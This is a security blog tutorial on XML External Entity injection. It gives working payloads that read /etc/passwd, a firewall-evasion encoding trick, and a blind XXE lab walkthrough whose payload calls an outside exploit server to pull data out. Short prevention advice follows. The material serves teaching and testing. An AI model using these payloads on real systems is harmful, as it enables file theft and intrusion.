We’re transitioning to Nua with expanded cybersecurity offerings. Learn more at nuasecurity.com

XML External Entity (XXE) Attack

عمار أمين

عمار أمين

Overview about XML External Entity Injection (XXE)

XML External Entity Injection (XXE) is a web security vulnerability listed in the OWASP Top 10 under the category of “A05:2021-Security Misconfiguration.” It arises when the server processes XML data unsafely. This vulnerability allows attackers to read internal files on the system, interact with internal services not accessible to the public via Server-Side Request Forgery (SSRF), or perform Denial of Service (DoS) attacks on the server.

Types of XXE

In-band XXE

This is the easiest type. Any action you perform will be reflected in the response, but the server will not necessarily display an error inside the response.

Out-of-band XXE

In this type, the attacker will not receive an immediate response from the web application, making it harder to detect and exploit.

First, let's understand what XML (Extensible Markup Language) is. XML is a data format used for web services to exchange data, such as in SOAP and REST. It can also be used in image formats like SVG and documents like DOCX, making the attack surface massive.

 

How to Detect XXE

Here is an example of an API endpoint where you can change your profile name using the endpoint “/api/data.” As you can see, the value of the attribute name is reflected in the response, and the request itself is XML-based. Let's try to inject an external entity.

First, we need to create a Document Type Definition (DTD) like this:

<!DOCTYPE name []>

Here, name is the root element of the XML document. It indicates that the XML document will have a root element named <name>. Now, let's create an entity:

<!ENTITY ammar "Trust Line Write Up!">.

Here, I declared an entity named ammar that has the value of "Trust Line Write Up!". Now, we have everything we need, so let's combine the DTD with the entity:

<!DOCTYPE name [

<!ENTITY ammar "Trust Line Write Up!">

]>

 

As you can see, nothing happens. The response should contain "Trust Line Write Up!". This happens because we didn't call the entity we created. To do that, we need to call it inside the name entity like this: &ammar;

 

Exploiting External Entity

Now that we can control the response from the DTD we created, how can we read files on the system?

Instead of retrieving a hardcoded value like "Trust Line Write Up!", let's read a file on the system, such as "/etc/passwd". We can achieve this by using the keyword "SYSTEM", which indicates that the entity's value should be read from an external file. So, our previous payload will change to this:

<!DOCTYPE name [

<!ENTITY ammar SYSTEM "file:///etc/passwd">

]>

And don't forget to call it using &ammar;

 

 

Let's analyze the payload more. We said that the "SYSTEM" keyword will retrieve data from an external file. But what happens after the "SYSTEM" keyword? I used a file protocol to read files in the internal system, but you can utilize other protocols like http://. This can help escalate the XXE attack with SSRF to discover open ports internally, or we can use it to check for blind XXE.

 

XXE Tricks

Most APIs nowadays send and receive JSON data format in their API endpoints. One cool trick is that you can still test XXE at these endpoints because most APIs support both JSON and XML. How can we test that? We can either manually change the request from JSON to XML or use a Burp Extension called “Content Type Converter”. Let's take an example.

 

The same endpoint sends our data in a JSON format, so let's change the data using the previous extension.

 

If you send it and the server does not respond with an error, it means that the server accepts XML as a content type, so you can try the previous attack.

Another trick is to encode the content of the payload using different encoding methods. For example, you can change the encoding to UTF-7 and encode the payload content. This trick can be used to bypass Web Application Firewalls (WAF).

 

 

Exfiltrate data in blind XXE

I will use this lab from PortSwigger to demonstrate this concept. First thing the goal of this lab is to read the content of the /etc/hostname in a blind fashion.

 

 

This is the normal request if we try the previous attack let’s see what happen

We got this message should we stop here? Of course not. It might be vulnerable to blind XXE so in order to test for that when need to utilize other protocol the one defined in the previous example http:// to see if there’s an interaction or not?

 

 

So, this is the request I sent to test for the blind interaction let’s explain the payload a little bit.


<!DOCTYPE Anything [<!ENTITY % TrustLine SYSTEM "<https://exploit-0a2f006d030d683e80597f0901a4009b.exploit-server.net/TrustLine.sa>"> %TrustLine;]>

Here we know what is the <!DOCTYPE Anything []> from the previous example but we have something different here before the entity name we have % sign we were using only the entity name. So, what is the difference? The previous example we used something called General Entity where we need to call it in order to work. When we add the % before entity name we call it Parameter Entities, which allows it to reference it without &TrustLine;. As you can see in the above payload we call the Parameter Entities in the same DTD. The URL part in the payload is an attacker control server in this case I have used the Lab Server but in real life engagement you can use your own server or, webhook.site, ngrok. All these tools will do the trick. So after sending the request we got this in the attacker server log.

 

which means the server interact with our own server. This is the detection part now let’s go with the exfiltration part.

So first thing we need to create a DTD file in our server (attacker server) so we can host that malicious file to the server.

 

 

Our DTD file will contain this contents and I will name it TrustLine.dtd.

So, let’s explain the payload used in the DTD file.

First Entity will retrieve the desired file from the system in our case to complete the lab I have to read the contents of the /etc/hostname file so I will use that.

Second Entity is to send data to our server so it will need another entity inside to send the data retrieved from the file Entity and then we will send the data to our server (attacker server) but you can notice that there html encoding for the reference Entity data using this &#x25; if we didn’t encoded the inner entity our payload will not be working after that I have to call the sendTo and the data to receive the data in my server.

 

 

The request will look like the image above same payload used in the previous example however, I change the URL to point to our malicious DTD file.

After we send the request you can see the attacker server logs.

 

The server interacted with our malicious DTD file and then our malicious file has been executed and sent the data to our server. Note here you can literally extract any data by utilizing the PHP protocol with filter like this:

 

 

Preventing XXE

  1. Disable DTD processing in your XML parser.

  2. Use secure parsers.

  3. Validate and sanitize all XML inputs.

spinner